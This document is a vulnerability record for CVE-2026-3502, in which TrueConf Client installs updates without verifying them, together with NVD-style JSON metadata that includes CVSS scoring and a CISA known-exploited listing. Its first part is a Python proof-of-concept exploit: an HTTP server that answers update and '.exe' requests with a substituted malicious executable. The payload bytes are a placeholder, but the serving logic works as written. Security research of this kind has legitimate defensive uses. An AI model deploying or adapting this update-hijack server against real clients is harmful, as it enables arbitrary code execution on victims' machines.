CVE-2026-3502

# This is a conceptual PoC for a Man-in-the-Middle attack exploiting the lack of update verification. # Note: Actual exploitation requires network positioning and understanding of the TrueConf update protocol. import http.server import socketserver # Malicious payload to be served instead of the update MALICIOUS_EXE = b"MZ\x90\x00..." # Placeholder for a malicious executable class MaliciousUpdateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path.endswith('.exe') or 'update' in self.path: self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() # Serve the malicious payload self.wfile.write(MALICIOUS_EXE) print(f"[+] Sent malicious payload to {self.client_address}") else: self.send_response(404) self.end_headers() PORT = 80 with socketserver.TCPServer(("", PORT), MaliciousUpdateHandler) as httpd: print(f"Serving malicious update on port {PORT}") httpd.serve_forever()

{"cve": {"id": "CVE-2026-3502", "sourceIdentifier": "[email protected]", "published": "2026-03-30T19:16:27.053", "lastModified": "2026-04-03T11:40:57.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TrueConf Client downloads application update code and applies it without performing verification. An attacker who is able to influence the update delivery path can substitute a tampered update payload. If the payload is executed or installed by the updater, this may result in arbitrary code execution in the context of the updating process or user."}, {"lang": "es", "value": "TrueConf Client descarga código de actualización de la aplicación y lo aplica sin realizar verificación. Un atacante que es capaz de influir en la ruta de entrega de la actualización puede sustituir una carga útil de actualización manipulada. Si la carga útil es ejecutada o instalada por el actualizador, esto puede resultar en ejecución de código arbitrario en el contexto del proceso de actualización o del usuario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 6.0}]}, "cisaExploitAdd": "2026-04-02", "cisaActionDue": "2026-04-16", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "TrueConf Client Download of Code Without Integrity Check Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trueconf:trueconf:*:*:*:*:*:windows:*:*", "versionEndExcluding": "8.5.3.884", "matchCriteriaId": "C61E9BE0-CED2-4518-933B-7538A4E8F890"}]}]}], "references": [{"url": "https://trueconf.com/blog/update/trueconf-8-5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://research.checkpoint.com/2026/operation-truechaos-0-day-exploitation-against-southeast-asian-government-targets/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-3502", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}